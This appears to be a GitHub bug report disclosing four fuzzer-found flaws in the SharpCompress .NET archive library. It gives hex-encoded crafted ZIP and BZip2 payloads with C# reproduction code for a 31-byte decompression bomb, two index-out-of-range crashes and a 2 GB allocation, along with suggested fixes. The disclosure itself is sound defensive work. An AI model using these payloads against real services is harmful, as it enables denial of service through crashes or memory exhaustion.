Decompression bomb and crash bugs in SharpCompress
## Summary
Fuzzing SharpCompress with AFL++ uncovered **4 distinct bugs** on the current main branch (ea6946c4):
1. **Decompression bomb** via ZIP Reduce methods (2-5) - a 31-byte input can produce up to 4 GB of output
2. **IndexOutOfRangeException** in `Deflate64.HuffmanTree.CreateTable` - 105 bytes
3. **IndexOutOfRangeException** in `BZip2.CBZip2InputStream.GetAndMoveToFrontDecode` - 93 bytes (variant that survives the #1251 fixes)
4. **OutOfMemoryException** via crafted ZIP compressed size field - 122 bytes declares 2GB compressed size
**Affected:** SharpCompress 0.47.3 (latest NuGet) and current main (ea6946c4)
## Reproduction
```csharp
using SharpCompress.Readers;
// 31 bytes - produces 384 MB of decompressed output
byte[] payload = Convert.FromHexString(
"504b03040a000000020000000200f7ff0500f7ff05ff200600180700000000");
using var ms = new MemoryStream(payload);
using var reader = ReaderFactory.OpenReader(ms);
var buf = new byte[4096];
while (reader.MoveToNextEntry())
{
if (!reader.Entry.IsDirectory)
{
using var stream = reader.OpenEntryStream();
// This produces ~384 MB of output (controlled by uncompressed size field in ZIP header)
while (stream.Read(buf, 0, buf.Length) > 0) { }
}
}
```
## Impact
Any application using SharpCompress to process untrusted archive files is vulnerable. A 31-byte ZIP file can force the library to produce 4 GB of decompressed output (Bug 1), a 122-byte file can trigger a 2 GB allocation (Bug 4), and malformed inputs can crash the process via unhandled exceptions (Bug 2, 3).
## Bug 1: Decompression bomb via Reduce methods
The Reduce decompressor (ZIP compression methods 2-5) trusts the uncompressed size field from the ZIP local file header and produces exactly that many bytes of output, regardless of how small the compressed data is. The decompressor generates output from its internal state without consuming corresponding compressed input.
The output size is controlled by the `uncompressed size` field in the ZIP local file header (offset 22-25). Setting it to `0xFFFFFFFF` produces 4 GB of output from a 31-byte file.
Fuzzer-found repros:
| Method | Repro size | Decompressed output | Ratio |
|--------|-----------|-------------------|-------|
| 2 (Reduce factor 1) | 31 bytes | 384 MB | 12.9M : 1 |
| 3 (Reduce factor 2) | 99 bytes | 868 MB | 9.2M : 1 |
| 4 (Reduce factor 3) | 197 bytes | 1.2 GB | 6.7M : 1 |
| 5 (Reduce factor 4) | 126 bytes | 1.2 GB | 10.5M : 1 |
Patching the uncompressed size field to `0xFFFFFFFF` in the 31-byte method 2 repro produces **4 GB** of output (confirmed).
## Bug 2: IOOB in Deflate64 HuffmanTree.CreateTable
A 105-byte ZIP file using Deflate64 compression triggers an `IndexOutOfRangeException` when building the Huffman decoding table.
```csharp
byte[] payload = Convert.FromHexString(
"504b03040a00005409000088c8b669757800009ac8b66975783606000000640028b52ffd047fff" +
"02009a888888888820313735303600303132002030007573746172202000757001307230819b75" +
"72756e7475410a000c2000391eeb061ffe391eeb068f0c0a000c20");
using var ms = new MemoryStream(payload);
using var reader = ReaderFactory.OpenReader(ms);
while (reader.MoveToNextEntry())
{
if (!reader.Entry.IsDirectory)
{
using var stream = reader.OpenEntryStream();
var buf = new byte[4096];
while (stream.Read(buf, 0, buf.Length) > 0) { }
}
}
// -> IndexOutOfRangeException in HuffmanTree.CreateTable()
```
```
System.IndexOutOfRangeException: Index was outside the bounds of the array.
at SharpCompress.Compressors.Deflate64.HuffmanTree.CreateTable()
at SharpCompress.Compressors.Deflate64.HuffmanTree..ctor(Byte[] codeLengths)
at SharpCompress.Compressors.Deflate64.InflaterManaged.DecodeDynamicBlockHeader()
at SharpCompress.Compressors.Deflate64.InflaterManaged.Decode()
at SharpCompress.Compressors.Deflate64.Deflate64Stream.Read(...)
```
## Bug 3: IOOB in BZip2 GetAndMoveToFrontDecode (variant)
A 93-byte input triggers an `IndexOutOfRangeException` in BZip2 decompression. This is a different code path from the BZip2 bugs fixed after #1251 - the fixes added validation in `RecvDecodingTables` and at the start of `GetAndMoveToFrontDecode`, but this crash occurs deeper in the same method.
```csharp
byte[] payload = Convert.FromHexString(
"425a6839314159265359c1c080e2000001410000100244a00100808b640006000775780b2ef2ed" +
"0001393beb06060606060606060606f9050605060606060f0654090003ffffff7f003403" +
"0a0002001f8b7fff0000000000e98b8b3931");
using var ms = new MemoryStream(payload);
using var reader = ReaderFactory.OpenReader(ms);
// -> IndexOutOfRangeException in GetAndMoveToFrontDecode()
```
```
System.IndexOutOfRangeException: Index was outside the bounds of the array.
at SharpCompress.Compressors.BZip2.CBZip2InputStream.GetAndMoveToFrontDecode()
at SharpCompress.Compressors.BZip2.CBZip2InputStream.InitBlock()
at SharpCompress.Compressors.BZip2.CBZip2InputStream.Create(...)
```
## Bug 4: OutOfMemoryException via crafted compressed size
A 122-byte ZIP file with the compressed size field set to `0x7FFFFFFF` (2,147,483,647) causes an `OutOfMemoryException`. The library trusts the declared compressed size from the ZIP local file header and attempts to allocate a ~2GB buffer, even though the actual file is only 122 bytes.
```csharp
byte[] payload = Convert.FromHexString(
"504b03040a0000000100147f6f5c20303a36ffffff7f0600000009001c0068656c6c6f2e747874" +
"5554090003a8c8b6696045ac6975780b01e8303a36060000000600000009001800000001004f2a" +
"2a2a2a0c2000395d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d5d000004e8303a360600000006000000" +
"0900180000");
using var ms = new MemoryStream(payload);
using var reader = ReaderFactory.OpenReader(ms);
// -> OutOfMemoryException
```
```
System.OutOfMemoryException: Array dimensions exceeded supported range.
```
## Suggested Fixes
**Bug 1 (Reduce decompression bomb):** Validate that the declared uncompressed size is reasonable relative to the compressed data size. The decompressor should not produce output without consuming corresponding compressed input.
**Bug 2 (Deflate64 IOOB):** Validate code lengths before building the Huffman table in `HuffmanTree.CreateTable()`.
**Bug 3 (BZip2 IOOB):** Add bounds checks on array indices within the move-to-front decoding loop in `GetAndMoveToFrontDecode()`.
**Bug 4 (OOM):** Validate that the declared compressed size in the ZIP local file header does not exceed the remaining stream length before allocating buffers.
## Environment
- **Library:** SharpCompress 0.47.3 (latest NuGet) and main branch (ea6946c4)
- **Runtime:** .NET 10.0
- **Discovery:** Coverage-guided fuzzing (AFL++ 4.00c + SharpFuzz 2.2.0)
## Attached Files
`repros.zip` (password: `sharpcompress-repro`) contains:
- `reduce_method2_31bytes.zip` - 31-byte repro, Bug 1 (method 2)
- `reduce_method3_99bytes.zip` - 99-byte repro, Bug 1 (method 3)
- `reduce_method4_197bytes.zip` - 197-byte repro, Bug 1 (method 4)
- `reduce_method5_126bytes.zip` - 126-byte repro, Bug 1 (method 5)
- `deflate64_ioob_105bytes.zip` - 105-byte repro, Bug 2
- `bzip2_ioob_93bytes.bz2` - 93-byte repro, Bug 3
- `zip_oom_122bytes.zip` - 122-byte repro, Bug 4
**Warning:** Do not open the Reduce ZIP files with an archive tool - they are malformed and will produce hundreds of MB of output.
[repros.zip](https://github.com/user-attachments/files/26412991/repros.zip)
关闭于 2026-04-04 1 条评论